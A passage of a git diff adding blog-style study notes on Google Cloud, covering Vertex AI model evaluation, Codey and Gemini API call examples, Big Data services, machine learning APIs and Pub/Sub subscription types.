don’t need to worry about adjusting these hyperparameter knobs because the tuning happens automatically in the back end. This is largely done by a neural architect search, which finds the best fit model by comparing the performance against thousands of other models. + + + +--- + +### Model evaluation + +Vertex AI provides many metrics to evaluate the model performance. focus on three: +- Precision/Recall curve +- Confusion Matrix +- Feature Importance + +![Screenshot 2023-09-27 at 22.48.48](/assets/img/post/Screenshot%202023-09-27%20at%2022.48.48.png) + +#### Precision/Recall curve + +- The `confidence threshold` determines how a ML model counts the positive cases. +- A higher threshold increases the precision, but decreases recall. +- A lower threshold decreases the precision, but increases recall. + +- You can manually adjust the threshold to observe its impact on precision and recall and find the best tradeoff point between the two to meet the business needs. + +![Screenshot 2023-09-27 at 23.28.54](/assets/img/post/Screenshot%202023-09-27%20at%2023.28.54.png) + +![Screenshot 2023-09-28 at 00.07.22](/assets/img/post/Screenshot%202023-09-28%20at%2000.07.22.png) + +![Screenshot 2023-09-28 at 00.08.13](/assets/img/post/Screenshot%202023-09-28%20at%2000.08.13.png) + +#### confusion matrix + +confusion matrix +- tells the percentage of examples from each class in the test set that the model predicted correctly. + +Confusion matrix table +- displaying `true label` and `predicted label` classifications + +- The confusion matrix shows that the initial model is able to predict 100% of the repay examples and 87% of the default examples in the test set correctly, which is not too bad. + +- You can improve the percentage by adding more examples (more data), engineering new features, and changing the training method, etc. + +![Screenshot 2023-09-27 at 23.38.32](/assets/img/post/Screenshot%202023-09-27%20at%2023.38.32.png) + +![Screenshot 2023-09-28 at 00.06.12](/assets/img/post/Screenshot%202023-09-28%20at%2000.06.12.png) + +![Screenshot 2023-09-27 at 22.49.36](/assets/img/post/Screenshot%202023-09-27%20at%2022.49.36.png) + +![Screenshot 2023-09-27 at 22.50.16](/assets/img/post/Screenshot%202023-09-27%20at%2022.50.16.png) + +![Screenshot 2023-09-27 at 22.50.44](/assets/img/post/Screenshot%202023-09-27%20at%2022.50.44.png) + +![Screenshot 2023-09-27 at 22.51.19](/assets/img/post/Screenshot%202023-09-27%20at%2022.51.19.png) + + + +#### Feature importance + +- In Vertex AI, feature importance is displayed through a bar chart to illustrate `how each feature contributes to a prediction`. + +- The longer the bar, or the larger the numerical value associated with a feature, the more important it is. + +- These feature importance values could be used to improve the model and have more confidence in its predictions. + - You might decide to remove the least important features next time you train a model or to combine two of the more significant features into a feature cross to see if this improves model performance. + +- Feature importance is just one example of Vertex AI’s comprehensive machine learning functionality called Explainable AI. Explainable AI is a set of tools and frameworks to help understand and interpret predictions made by machine learning models. + +![Screenshot 2023-09-27 at 22.52.13](/assets/img/post/Screenshot%202023-09-27%20at%2022.52.13.png) + +> Feature importance bar chart for loan, income, and age + + +--- + +### Model deployment and monitoring + + +![Screenshot 2023-09-27 at 22.53.45](/assets/img/post/Screenshot%202023-09-27%20at%2022.53.45.png) + +![Screenshot 2023-09-27 at 22.54.42](/assets/img/post/Screenshot%202023-09-27%20at%2022.54.42.png) + +![Screenshot 2023-09-27 at 22.55.45](/assets/img/post/Screenshot%202023-09-27%20at%2022.55.45.png) + + +![Screenshot 2023-09-27 at 22.56.42](/assets/img/post/Screenshot%202023-09-27%20at%2022.56.42.png) + +![Screenshot 2023-09-27 at 22.57.00](/assets/img/post/Screenshot%202023-09-27%20at%2022.57.00.png) + + + + + +. diff --git a/_posts/01Cloud/01GCP/AI/vertexAI.md b/_posts/01Cloud/01GCP/AI/vertexAI.md new file mode 100644 index 00000000000..669cde26628 --- /dev/null +++ b/_posts/01Cloud/01GCP/AI/vertexAI.md @@ -0,0 +1,291 @@ +--- +title: GCP - Vertex AI +date: 2023-04-24 11:11:11 -0400 +description: +categories: [01GCP] +# img: /assets/img/sample/rabbit.png +tags: [AI, ML] +--- + +# Vertex AI + +- [Vertex AI](#vertex-ai) + - [Overview](#overview) + - [Codey](#codey) + - [Getting Started with Codey](#getting-started-with-codey) + - [Code Generation with Codey](#code-generation-with-codey) + - [Code Chat with Codey](#code-chat-with-codey) + - [command](#command) + - [model call](#model-call) + - [crul](#crul) + - [py](#py) + +ref: +- [cthesera - gcp-big-data-ml-fundamentals](https://www.cthesera.org/learn/gcp-big-data-ml-fundamentals) + +--- + +## Overview + +- OpenAI has released countless Generative AI and Large Language Models built on top of their top-tier GPT frameworks, including ChatGPT, their Generative Conversational AI. +- After the successful creation of conversational language models, developers are constantly trying to create Large Language Models that can either develop or assist developers in coding applications. +- Many companies have started researching these LLMs, including OpenAI, that would help developers build applications faster with the LLMs knowing programming languages. +- Google built Codey, a fine-tuned model of PaLM 2, capable of performing varying coding tasks. + + +### Codey + +- one of the `foundational models` built and released by Google + - available to the general public through Vertex AI in the Google Cloud Platform. + - Google has recently made available the recently announced Google Foundational models, which include `PaLM 2, Codey, Chirp, and Imagen`. + +- based on the `PaLM 2 Large Language Model`. + - Codey is a fine-tuned model of the PaLM 2 Large Language Model. + - A large corpus of high-quality codes and coding documents has fine-tuned Codey. + - Google claims that Codey can code in more than 20+ programming languages, including Python, C, Javascript, Java, and more. + - Codey was used to enhance Google products like Google Colab, Android Studio, etc. + +- Codey is built to solve 3 purposes. + + - **code completion**: + - analyze the writing code and make valuable suggestions based on it. + - it is context-aware of the code you are writing. + + - **code generation**. + - generate complete workable code in any language, provided the prompt. + + - **chat with the code**: provide the code to Codey and chat with Codey related to the code. + + +#### Getting Started with Codey + +To work with Google’s Codey +- have an account with the Google Cloud Platform. +- enable the Vertex AI API to work with Vertex AI. + - go to the API & Services -> Library -> Vertex AI API -> “Enable API” + + +#### Code Generation with Codey + +**Prerequisite** +- enabling the Vertex AI API in the GCP +- The code walkthrough here will take place in Google Colab. +- install some necessary packages to work with Vertex AI + - The `Shapley` and the `google-cloud-aiplatform` are the only two required packages to start working with the Codey model. + +```bash +!pip install shapely +!pip install google-cloud-aiplatform>=1.27.0 +``` + +- authenticate the Google account, so Colab can use the GCP credentials to run the Codey model from Vertex AI. + +```py +from google.colab import auth as google_auth +google_auth.authenticate_user() +# import the google_auth from Google.colab package. +# authenticate by allowing the Colab to use the credentials for running the Codey model from Vertex AI. + +import vertexai +from vertexai.preview.language_models import CodeGenerationModel +# import the vertex, the package containing all the machine learning and AI-related models composed by Google + +vertexai.init( + project="the_project_id", location="us-west1") +parameters = { + "temperature": 0.3, + # how creative the model should be + "max_output_tokens": 1024 + # the limit set to the length of the output generated by the LLM +} +``` + +take this imported model, i.e., the CodeGenerationModel, and test it by passing a prompt. + +**Prompt** + +```py +code_model = CodeGenerationModel.from_pretrained("code-bison@001") +response = code_model.predict( + prefix = """ + Write a code in Python to count the occurrence of the + word "rocket" from a given input sentence using Regular Expressions + """, + **parameters +) +``` + + + +#### Code Chat with Codey + +- The Code Chat function allows us to interact with Codey on the code. +- We provide the Code to Codey and chat with the Codey model about the code. +- It can be either to understand better the code, like how it works, or if we want alternate approaches for the given code, which Codey can do by looking at the current code. +- If we face any errors, then we may provide both the code and the error, which Codey will look at and give a solution to solve the error. + +example +- introduce an error to the Regular Expression code. In the Python Regex code, replace the `re.findall()` with `re.find()` and run the code +- the Codey model has analyzed the code and suggested where the error was. It even provided the corrected code for us to work with. + +--- + +## command + + +### model call + +#### crul + +```bash +cat << EOF > request.json +{ + "contents": [ + ] + , "generationConfig": { + "temperature": 1 + ,"maxOutputTokens": 8192 + ,"topP": 0.95 + }, + "safetySettings": [ + { + "category": "HARM_CATEGORY_HATE_SPEECH", + "threshold": "OFF" + }, + { + "category": "HARM_CATEGORY_DANGEROUS_CONTENT", + "threshold": "OFF" + }, + { + "category": "HARM_CATEGORY_SEXUALLY_EXPLICIT", + "threshold": "OFF" + }, + { + "category": "HARM_CATEGORY_HARASSMENT", + "threshold": "OFF" + } + ] +} +EOF + +# base +PROJECT_ID="PROJECT_ID" +LOCATION_ID="us-central1" +API_ENDPOINT="us-central1-aiplatform.googleapis.com" +MODEL_ID="gemini-1.5-pro-002" + +curl \ +-X POST \ +-H "Content-Type: application/json" \ +-H "Authorization: Bearer $(gcloud auth print-access-token)" \ +"https://${API_ENDPOINT}/v1/projects/${PROJECT_ID}/locations/${LOCATION_ID}/publishers/google/models/${MODEL_ID}:streamGenerateContent" -d '@request.json' + + +# FT +PROJECT_ID="PROJECT_ID" +LOCATION_ID="us-central1" +API_ENDPOINT="us-central1-aiplatform.googleapis.com" +MODEL_ID="projects/PROJECT_ID/locations/us-central1/endpoints/endpoints_id" + +curl \ +-X POST \ +-H "Content-Type: application/json" \ +-H "Authorization: Bearer $(gcloud auth print-access-token)" \ +"https://${API_ENDPOINT}/v1/${MODEL_ID}:streamGenerateContent" -d '@request.json' +``` + +#### py + +```py +import base64 +import vertexai +from vertexai.generative_models import GenerativeModel, SafetySetting, Part + +def multiturn_generate_content(): + vertexai.init( + project="project_id", + location="region_name", + ) + model = GenerativeModel( + "gemini-1.5-pro-002", + "projects/project_id/locations/region_name/endpoints/endpoints_id", + ) + chat = model.start_chat() + + +generation_config = { + "max_output_tokens": 8192, + "temperature": 1, + "top_p": 0.95, +} + +safety_settings = [ + SafetySetting( + category=SafetySetting.HarmCategory.HARM_CATEGORY_HATE_SPEECH, + threshold=SafetySetting.HarmBlockThreshold.OFF + ), + SafetySetting( + category=SafetySetting.HarmCategory.HARM_CATEGORY_DANGEROUS_CONTENT, + threshold=SafetySetting.HarmBlockThreshold.OFF + ), + SafetySetting( + category=SafetySetting.HarmCategory.HARM_CATEGORY_SEXUALLY_EXPLICIT, + threshold=SafetySetting.HarmBlockThreshold.OFF + ), + SafetySetting( + category=SafetySetting.HarmCategory.HARM_CATEGORY_HARASSMENT, + threshold=SafetySetting.HarmBlockThreshold.OFF + ), +] + +multiturn_generate_content() +``` + + +```py +from google import genai +from google.genai import types +import base64 + +def generate(): + client = genai.Client( + vertexai=True, + project="project_name", + location="region_name", + ) + + model = "gemini-2.0-flash-exp" + contents = [] + generate_content_config = types.GenerateContentConfig( + temperature = 1, + top_p = 0.95, + max_output_tokens = 8192, + response_modalities = ["TEXT"], + safety_settings = [ + types.SafetySetting( + category="HARM_CATEGORY_HATE_SPEECH", + threshold="OFF" + ), + types.SafetySetting( + category="HARM_CATEGORY_DANGEROUS_CONTENT", + threshold="OFF" + ), + types.SafetySetting( + category="HARM_CATEGORY_SEXUALLY_EXPLICIT", + threshold="OFF" + ),types.SafetySetting( + category="HARM_CATEGORY_HARASSMENT", + threshold="OFF" + ) + ], + ) + + for chunk in client.models.generate_content_stream( + model = model, + contents = contents, + config = generate_content_config, + ): + print(chunk.text, end="") + +generate() +``` diff --git a/_posts/01Cloud/01GCP/Bigdata/2021-01-01-GCP-BigData.md b/_posts/01Cloud/01GCP/Bigdata/2021-01-01-GCP-BigData.md new file mode 100644 index 00000000000..ec526000ffe --- /dev/null +++ b/_posts/01Cloud/01GCP/Bigdata/2021-01-01-GCP-BigData.md @@ -0,0 +1,392 @@ +--- +title: GCP - Big Data +date: 2021-01-01 11:11:11 -0400 +categories: [01GCP] +tags: [GCP] +toc: true +image: +--- + +- [Big Data](#big-data) + - [Google Cloud Big Data Platform](#google-cloud-big-data-platform) + - [Data](#data) + - [Ingest](#ingest) + - [Cloud Pub/Sub](#cloud-pubsub) + - [Store](#store) + - [Cloud BigQuery](#cloud-bigquery) + - [Process](#process) + - [Cloud Dataproc](#cloud-dataproc) + - [cloud Dataflow](#cloud-dataflow) + - [Visualize](#visualize) + - [Pipieline](#pipieline) + - [cloud composer](#cloud-composer) + - [data fustion](#data-fustion) + - [Cloud Datalab](#cloud-datalab) + +--- + +# Big Data + +--- + + +![Screen Shot 2022-08-16 at 23.29.26](https://i.imgur.com/cuDT8ox.jpg) + + +## Google Cloud Big Data Platform + +- help transform the business and user experiences with meaningful data insights. +- an Integrated Serverless Platform. + - Serverless, no worry about provisioning Compute Instances to run the jobs. + - The services are fully managed + - pay only for the resources you consume. + - The platform is integrated + - so GCP data services work together to help create custom solutions. + +- Apache Hadoop + - an open source framework for big data. + - It is based on the MapReduce programming model which Google invented and published. + - "Map function" + - runs in parallel with a massive dataset to produce intermediate results. + - "Reduce function" + - builds a final result set based on all those intermediate results. + - The term "Hadoop" is often used informally to encompass Apache Hadoop itself, and related projects such as Apache Spark, Apache Pig, and Apache Hive. + + +![Screen Shot 2021-02-09 at 11.49.45](https://i.imgur.com/CQv9jnH.png) + +![1_OaVwGy1MNotrx3Oi6a9Zeg](https://i.imgur.com/vIj7uX8.png) + + +![Selection_004](https://i.imgur.com/sYkUkOX.png) + + + +## Data + + +--- + +### Ingest + +![Screen Shot 2022-08-16 at 23.30.02](https://i.imgur.com/8qhlqlm.png) + + +#### Cloud Pub/Sub + +- Cloud publishers/subscribers + +- simple, reliable, scalable foundation for stream analytics. + - foundation for Dataflow streaming + +- Analyzing streaming data + +- use for IoT applications + +- decoupled systems , and scale independently. + - offers on-demand scalability to one million messages per second and beyond. + +- support many-to-many asynchronous messaging service. + - Push notifications for cloud-based applications + - let independent applications send and receive messages. + - Applications can publish messages in Pub/Sub + - and one or more subscribers receive them. + +- builds on the same technology Google uses internally. + - connect applications across Google cloud platform + - push/pull between Compute Engine and App + - works well with applications built on GCP's Compute Platforms. + - when analyzing streaming data, Cloud Dataflow is a natural pairing with Pub/Sub. + +- Receiving messages doesn't have to be synchronous. + - That's what makes Pub/Sub great for decoupling systems. + - It's designed to provide "at least once" delivery at low latency. + - a small chance some messages might be delivered more than once. + - keep this in mind when you write your application. + +- You just choose the quota you want. + +- an important building block for data ingestion in Dataflow + - for applications where data arrives at high and unpredictable rates, + - like Internet of Things systems, marketing analytics + +- application components make push/pull subsciptions to topics + - configure subscribers to receive messages on a push or pull basis. + - get notified when new messages arrive for them + - or check for new messages at intervals. + +- includes supports for offline consumers + + +--- + + + +### Store + +![Screen Shot 2022-08-16 at 23.30.22](https://i.imgur.com/VBtAA1Q.jpg) + + +#### Cloud BigQuery + +- if data needs to run more in the way of exploring a vast sea of data. + - instead of a dynamic pipeline + +- fully-managed, petabyte-scale, low-cost data analytics warehouse + - no infrastructure to manage + - no cluster maintencance is required + - focus on analyze data to find meaningful insights by familiar SQL + +- do ad-hoc SQL queries on massive data set + - provide near real-time interactive analysis of massive datasets (hundreds of TBs) using SQL syntax (SQL 2011) + +- used by all types of organizations + - smaller organizations, Big Query's free monthly quotas, + - bigger organizations like its seamless scale, + - it's available 99.9 percent service level agreement. + +- get data into BigQuery. + - load it from cloud storage or cloud data store, + - or stream it into BigQuery at up to 100,000 rows per second. + +- process data + - SQL queries + - run super-fast SQL queries against multiple terabytes of data in seconds + - using the processing power of Google's infrastructure. + - or easily read and write data in BigQuery via Cloud Dataflow, Hadoop, and Spark. + + +- Google's infrastructure is global and so is BigQuery. + - can specify the region where the data will be kept. + - example + - to keep data in Europe + - don't have to set up a cluster in Europe. + - Just specify the EU location where you create your data set. + - US and Asia locations are also available. + +- pay-as-you-go model + - separates storage and computation with a terabit network in between + - pay for your data storage separately from queries. + - pay for queries only when they are actually running. + +- have full control over who has access to the data stored in BigQuery, + - including sharing data sets with people in different projects. + - If you share data sets that won't impact your cost or performance. + - People you share with pay for their own queries, not you. + +- Long-term storage pricing is an automatic discount for data residing in BigQuery for extended periods of time. + - data reaches 90 days in BigQuery, auto drop the price of storage. + + + +--- + + +### Process + +![Screen Shot 2022-08-16 at 23.30.50](https://i.imgur.com/1nNvpeN.jpg) + + +#### Cloud Dataproc + + +> Hadoop jobs Running on-premises +> - requires a capital hardware investment. + + +Running Hadoop jobs in Cloud Dataproc + +- migrate on=permises Hadoop jobs to cloud + - a fast, easy, managed way to run and manage `Hadoop, MapReduce, Spark, Hive service, and Pig` on Google Cloud Platform. + +- Data mining and analysis in datasets of known size + +- create clusters in 90 sec or less + - just need to request a Hadoop cluster. + - It will be built in 90 seconds or less + - on top of Compute Engine virtual machines whose number and type you control. + +- Scale clusters even when jobs are running + - need more or less processing power while the cluster is running, scale it up or down. + - use the default configuration for the Hadoop software in the cluster or customize it. + - monitor the cluster using Stackdriver. + +- save money with preemptible Compute Engine instances + - only pay for hardware resources used during the life of the cluster + - the costs of the Compute Engine instances isn't the only component of the cost of a Dataproc cluster, but it's a significant one. + - Although the rate for pricing is based on the hour, + - Cloud Dataproc is billed by the second. + - billed in one-second clock-time increments, subject to a one minute minimum billing. + - when done with the cluster, delete it, and billing stops. + + - more agile use of resources than on-premise hardware assets. + + - let Cloud Dataproc use preemptible Compute Engine instances for the batch processing. + - make sure that the jobs can be restarted cleanly, if they're terminated, and you get a significant break in the cost of the instances. + - preemptible instances were around 80 percent cheaper. + + +Once the data is in a cluster, +- use Spark and Spark SQL to do data mining + +- use MLib, Apache Spark's machine learning libraries to discover patterns through machine learning + + + +--- + + +#### cloud Dataflow + +pic + +| term | cloud Dataproc | Cloud Dataflow | +| ------------- | --------------------------------- | ------------------------------------------------- | +| data size | for known size data set | unpredictable size or rate | +| manage or not | manage your cluster size yourself | a unified programming model and a managed service | +| dataflow | \ | if data shows up in real time | + + +Dataflow +- both a unified programming model and a managed service + +- develop and execute a big range of data processing patterns + - extract, transform, and load batch computation and continuous computation. + +- write code once and get batch an streaming + - Transform-based programming model + - use Dataflow to build data pipelines. + - the same pipelines work for both batch and streaming data. + +- no need to spin up a cluster or to size instances. + +- fully automates the management of whatever processing resources are required. + - frees you from operational tasks + - like resource management and performance optimization. + +![Screen Shot 2021-02-09 at 12.11.09](https://i.imgur.com/J5huoyB.png) + +- example, + - Dataflow pipeline reads data from a big query table, the Source, + - processes it in a variety of ways, the Transforms, + - and writes its output to a cloud storage, the Sink. + - Some of those transforms you see here are map operations and some are reduce operations. + +pipelines +- can build really expressive pipelines. + +- Each step in the pipeline is elastically scaled. + - no need to launch and manage a cluster. + - the service provides all resources on demand. + +- It has automated and optimized worked partitioning built in + - can dynamically rebalance lagging work. + - reduces the need to worry about hotkeys. + - situations where disproportionately large chunks of your input get mapped to the same cluster. + +- use cases. + - a general purpose ETL (extract/transform/load) tool + - a data analysis engine + - batch computation or continuous computation using streaming. + - handy in things like + - fraud detection and financial services, + - IoT analytics and manufacturing, + - healthcare and logistics and click stream, + - point of sale and segmentation analysis in retail. + + - orchestration + - create pipeline that coordinates multiple services even external services. + - can be used in real time applications such as personalizing gaming user experiences. + +- integrates with GCP services like CLoud storage, cloud Pub/Sub, BigQuery, and Bigtable + - Open source Java and Python SDKs + +--- + + + +### Visualize + +![Screen Shot 2022-08-16 at 23.31.05](https://i.imgur.com/6wiJxJw.jpg) + +--- + + + + + + + + +## Pipieline + + + +### cloud composer + +![Screen Shot 2022-08-16 at 23.31.31](https://i.imgur.com/WCwSReV.jpg) + + +### data fustion + +![Screen Shot 2022-08-16 at 23.31.56](https://i.imgur.com/ZG0BuZa.jpg) + + + + + +--- + +### Cloud Datalab + +> Scientists have long used lab notebooks to organize their thoughts and explore their data. + +- For data science, the lab notebook metaphor works really well + - because it feels natural to intersperse data analysis with comments about their results. + +- A popular environment for hosting those is Project Jupyter. + - create and maintain web-based notebooks containing Python code + - and run that code interactively and view the results. + +Cloud Datalab + +- offers interactive data exploration + - interactive tool for large-scale data exploration, transformation, analysis, and visulization + +- integrated, open sourse + - build on Jupyter (formerly IPython) + +- It's integrated with BigQuery, Compute Engine, and Cloud Storage + - so access data doesn't run into authentication hassles. + - analyze data in BigQuery, Compute Engine, and Cloud Storage using python, SQL, and Javascript + - easily deploy models to BigQuery + +- Cloud Datalab takes the management work out of this natural technique. + - It runs in a Compute Engine virtual machine. + +- To get started + - specify the virtual machine type + - what GCP region it should run in. + - When it launches + - it presents an interactive Python environment + - it orchestrates multiple GCP services automatically, so can focus on exploring the data. + +- only pay for the resources you use. + - no additional charge for Datalab itself. + +- When you're up and running, visualize your data with Google Charts or map plot line and because there's a vibrant interactive Python community, you can learn from published notebooks. + +- existing packages for statistics, machine learning, and so on. + + + + + + + + + + + + +. diff --git a/_posts/01Cloud/01GCP/Bigdata/2021-01-01-GCP-ML.md b/_posts/01Cloud/01GCP/Bigdata/2021-01-01-GCP-ML.md new file mode 100644 index 00000000000..9aed0ab15aa --- /dev/null +++ b/_posts/01Cloud/01GCP/Bigdata/2021-01-01-GCP-ML.md @@ -0,0 +1,239 @@ +--- +title: GCP - Machine Learning +date: 2021-01-01 11:11:11 -0400 +categories: [01GCP] +tags: [GCP] +toc: true +image: +--- + +- [GCP - Machine Learning](#gcp---machine-learning) + - [overview](#overview) + - [Machine learning APIs](#machine-learning-apis) + - [Sight](#sight) + - [The Cloud Vision API](#the-cloud-vision-api) + - [The Cloud Video Intelligence API](#the-cloud-video-intelligence-api) + - [conversation](#conversation) + - [The Cloud Speech API](#the-cloud-speech-api) + - [Language](#language) + - [The Cloud Translation API](#the-cloud-translation-api) + - [The Cloud Natural Language API](#the-cloud-natural-language-api) + - [structured data](#structured-data) + - [AutoML APIs](#automl-apis) + - [AI Platform](#ai-platform) + + +--- + +# GCP - Machine Learning + +## overview + +- Machine learning + - one branch of the field of artificial intelligence. + - a way of solving problems without explicitly coding the solution. + - Instead, build systems that improve themselves over time through repeated exposure to sample data, training data. + +> Major Google applications use machine learning like YouTube, Photos, the Google Mobile App and Google Translate. + + +The Google Machine Learning Platform + +- TensorFlow / Cloud ML + + - available as a cloud service + - can add innovative capabilities to your own applications. + + - an open source software library + - developed by Google Brain for Google's internal use + - and then open source so that the world could benefit. + + - open source tool to build and run neural network models + - exceptionally well suited for machine learning applications like neural networks. + - wide platform support: + - CPU or GPU; mobol, server, or cloud + + - pre-trained ML models build by Google + - with pre-trained models and a platform to generate your own tailored models. + - Speech: + - stream results in real time, detects 80 languages + - Vision: + - identify objects, landmarks, text, and content + - Translate: + - language translation including detection + - Natural language: + - Structure, meaning of text + + - fully modern managed machine learning services + - familiar notebook-based developer experience + - Optimized for Google infrastructure + - integrates with BigQuery and Cloud Storage + - As with other GCP products, there's a range of services that stretches from the highly general to the pre-customized. + + - can run TensorFlow wherever you like + - GCP is an ideal place + - because machine learning models need lots of on-demand compute resources and lots of training data. + + - TensorFlow also take advantage of Tensor Processing Units + - hardware devices + - designed to accelerate machine learning workloads with TensorFlow. + - GCP makes them available in the cloud with Compute Engine virtual machines. + - Each cloud TPU provides up to 180 teraflops of performance. + + - pay for what you use + - no upfront capital investment required. + + +Google Cloud Machine Learning Engine +- managed service. + - easily build machine learning models that work on any type of data of any size. +- It can take any TensorFlow model +- and perform large-scale training on a managed cluster. + +Cloud Machine Learning Platform for applications. + + +![Screen Shot 2021-02-09 at 22.24.08](https://i.imgur.com/YZGxkvj.png) + +- Generally two categories (whether the data is structured or unstructured) + - structured data + - can use ML for various kinds of classification and regression tasks + - like customer churn analysis, product diagnostics and forecasting. + - can be the heart of a recommendation engine + - for content personalization and cross-sells and up-sells. + - can use ML to detect anomalies + - such as in fraud detection, sensor diagnostics or log metrics. + + - unstructured data + - can use ML for image analytics + - such as identifying damaged shipment, identifying styles and flagging content. + - can do text analytics + - such as call center, blog analysis, language identification, topic classification and sentiment analysis. + +- In many innovative applications for machine learning, several applications are combined. + + - one customers posted praise for one of your products on social media, your application could automatically reach out to them with a customized discount on another product they'll probably like? + + + +--- + + +## Machine learning APIs + +- Google Cloud offers a range of machine learning APIs suited to specific purposes. +- encapsulates powerful machine learning models behind an easy-to-use API. + - add various machine learning capabilities to applications without worry about the details of how they are provided. + + +![Screen Shot 2022-08-16 at 23.27.00](https://i.imgur.com/mw8KtUy.png) + + + +--- + + +### Sight + +![Screen Shot 2022-08-16 at 23.27.12](https://i.imgur.com/GdwSZT0.png) + +#### The Cloud Vision API + +- enables developers to understand the content of an image. + - quickly classifies images into thousands of categories + - logo/label detection + - detects individual objects within images, + - finds and reads printed words contained within images. +- analysis images with a simple REST API +- You can + - use it to build metadata on your image catalog, moderate offensive content or even do image sentiment analysis. + - gain insight from images + - detect inappropriate content + - analyze sentiment + - extract text + +#### The Cloud Video Intelligence API +- annotate the contents of videos +- support variety of video formats. +- detect scene changes +- flag inappropriate context +- identify key entities, nouns, within the video and when they occur. +- use it to make video content searchable and discoverable. + + + +--- + +### conversation + +![Screen Shot 2022-08-16 at 23.27.48](https://i.imgur.com/DWOyoM0.png) + +#### The Cloud Speech API + + +- enables developers to convert audio to text. +- The API recognizes over 80 languages and variants. +- You can + - transcribe the text of users, + - dictating in an applications' microphone, + - enable command and control through voice or transcribe audio files. + +--- + +### Language + +![Screen Shot 2022-08-16 at 23.27.29](https://i.imgur.com/K18dNAM.png) + +#### The Cloud Translation API +- provides a simple, programmatic interface for translating an arbitrary string into a supported language. +- the API can detect the source language +- translate arbitrary strings between thousands of language pairs + +#### The Cloud Natural Language API + +- offers natural language understanding technologies +- text/syntax analysis, reveal structure and meaning of text + - breaking down sentences supplied by our users into tokens, + - identify the nouns, verbs, adjectives, and other parts of speech + - and figure out the relationships among the words. +- It can extract information about items mentioned + - do entity recognition. + - parse text + - and flag mentions of people, organizations, locations, events, products, and media. +- It can understand the overall sentiment expressed in a block of text. +- return text in real time +- highly accurate, + - even in noisy environments +- access from any device +- It has these capabilities in multiple language + - including English, Spanish, and Japanese. + + +--- + +### structured data + +![Screen Shot 2022-08-16 at 23.28.00](https://i.imgur.com/ilTcsxY.png) + + +--- + +## AutoML APIs + +![Screen Shot 2022-08-16 at 23.28.32](https://i.imgur.com/bYlfHgW.png) + + + +--- + + +## AI Platform + + +![Screen Shot 2022-08-16 at 23.28.57](https://i.imgur.com/soNnB10.png) + + + + + +. diff --git a/_posts/01Cloud/01GCP/Bigdata/2021-01-01-GCP-PubSub.md b/_posts/01Cloud/01GCP/Bigdata/2021-01-01-GCP-PubSub.md new file mode 100644 index 00000000000..1d183bf3ace --- /dev/null +++ b/_posts/01Cloud/01GCP/Bigdata/2021-01-01-GCP-PubSub.md @@ -0,0 +1,939 @@ +--- +title: GCP - PubSub +date: 2021-01-01 11:11:11 -0400 +categories: [01GCP] +tags: [GCP] +toc: true +image: +--- + +- [GCP - PubSub](#gcp---pubsub) + - [subscriptions](#subscriptions) + - [Types of subscriptions](#types-of-subscriptions) + - [Pull subscription](#pull-subscription) + - [APIs](#apis) + - [message processing modes](#message-processing-modes) + - [client libraries](#client-libraries) + - [pull subscription Creation](#pull-subscription-creation) + - [Push subscriptions](#push-subscriptions) + - [Authentication for push subscriptions](#authentication-for-push-subscriptions) + - [Stop and resume message delivery](#stop-and-resume-message-delivery) + - [Push backoff](#push-backoff) + - [Delivery rate](#delivery-rate) + - [Quotas and limits](#quotas-and-limits) + - [BigQuery subscriptions](#bigquery-subscriptions) + - [Cloud Architecture Center](#cloud-architecture-center) + - [Integrating microservices with Pub/Sub and GKE](#integrating-microservices-with-pubsub-and-gke) + + +--- + +# GCP - PubSub + +--- + + + +## subscriptions + + +- To receive messages published to a `topic`, you must create a `subscription` to that topic. + +- Only messages published to the topic after the subscription is created are available to subscriber clients. + +- The `subscriber client` receives and processes the messages published to the topic. + +- A topic can have multiple subscriptions, but a given subscription belongs to a single topic. + +**The topic retention feature** +- it lets a subscription attached to a topic to seek back in time and replay previously published messages. + +**Subscription workflow** + +- After a message is sent to a subscriber, the subscriber must `acknowledge` the message. + +- If a message is sent out for delivery and a subscriber is yet to acknowledge it, the message is called `outstanding`. + - Pub/Sub repeatedly attempts to deliver any message that is not yet acknowledged. + - However, Pub/Sub tries not to deliver an outstanding message to any other subscriber on the same subscription. + +- The subscriber has a configurable, limited amount of time, known as the `ackDeadline`, to acknowledge the outstanding message. + - After the deadline passes, the message is no longer considered outstanding, and Pub/Sub attempts to redeliver the message. + +--- + +### Types of subscriptions + +- you must specify the `type of message delivery` when create a subscription, + +- You can update the type of subscription at any time after you create it. + +Pub/Sub offers 3 types of message delivery that corresponds to the following the types of subscriptions. + +- **Pull subscription** + - **Use case** + - Large volume of messages (GBs per second). + - Efficiency and throughput of message processing is critical. + - Environments where a public HTTPS endpoint with a non-self-signed SSL certificate is not feasible to set up. + - **Endpoints** + - Any device on the internet that has authorized credentials is able to call the `Pub/Sub API.` + - **Load balancing** + - Multiple subscribers can make pull calls to the same "shared" subscription. + - Each subscriber receives a subset of the messages. + - **Configuration** + - No configuration is necessary. + - **Flow control** + - The subscriber client controls the rate of delivery. + - The subscriber can dynamically modify the acknowledgment deadline, allowing message processing to be arbitrarily long. + - **Efficiency and throughput** + - Achieves high throughput at low CPU and bandwidth by allowing batched delivery and acknowledgments as well as massively parallel consumption. + - May be inefficient if aggressive polling is used to minimize message delivery time. + +- **Push subscription** + - **Use case** + - Multiple topics that must be processed by the same webhook. + - Cloud Run or App Engine Standard and Cloud Functions subscribers. + - Environments where Google Cloud dependencies (such as credentials and the client library) are not feasible to set up. + - **Endpoints** + - An HTTPS server with non-self-signed certificate accessible on the public web. + - The receiving endpoint may be decoupled from the Pub/Sub subscription, so that messages from multiple subscriptions may be sent to a single endpoint. + - **Load balancing** + - The push endpoint can be a load balancer. + - **Configuration** + - No configuration is necessary for Cloud Run or App Engine apps in the same project as the subscriber. + - Verification of push endpoints is not required in the Google Cloud console. + - Endpoints must be reachable using DNS names and have SSL certificates installed. + - **Flow control** + - The Pub/Sub server automatically implements flow control. + - There's no need to handle message flow at the client side. + - However, it's possible to indicate that the client cannot handle the current message load by passing back an HTTP error. + - **Efficiency and throughput** + - Delivers one message per request and limits the maximum number of outstanding messages. + +- **BigQuery subscription** + - **Use case** + - Large volume of messages that can scale up to multiple millions of messages per second. + - Messages are directly sent to BigQuery without any additional processing. + - **Endpoints** + - A BigQuery table. + - **Load balancing** + - The Pub/Sub service automatically balances the load. + - **Configuration** + - A BigQuery table must exist for the topic subscription + - **Flow control** + - The Pub/Sub server automatically implements flow control in order to optimize writing messages to BigQuery. + - **Efficiency and throughput** + - Scalability is dynamically handled by Pub/Sub servers. + + + +**Default subscription properties** + +- By default, Pub/Sub offers `at-least-once` delivery with `no ordering guarantees` on all subscription types. + +- Alternatively, if messages have the same ordering key and are in the same region, you can 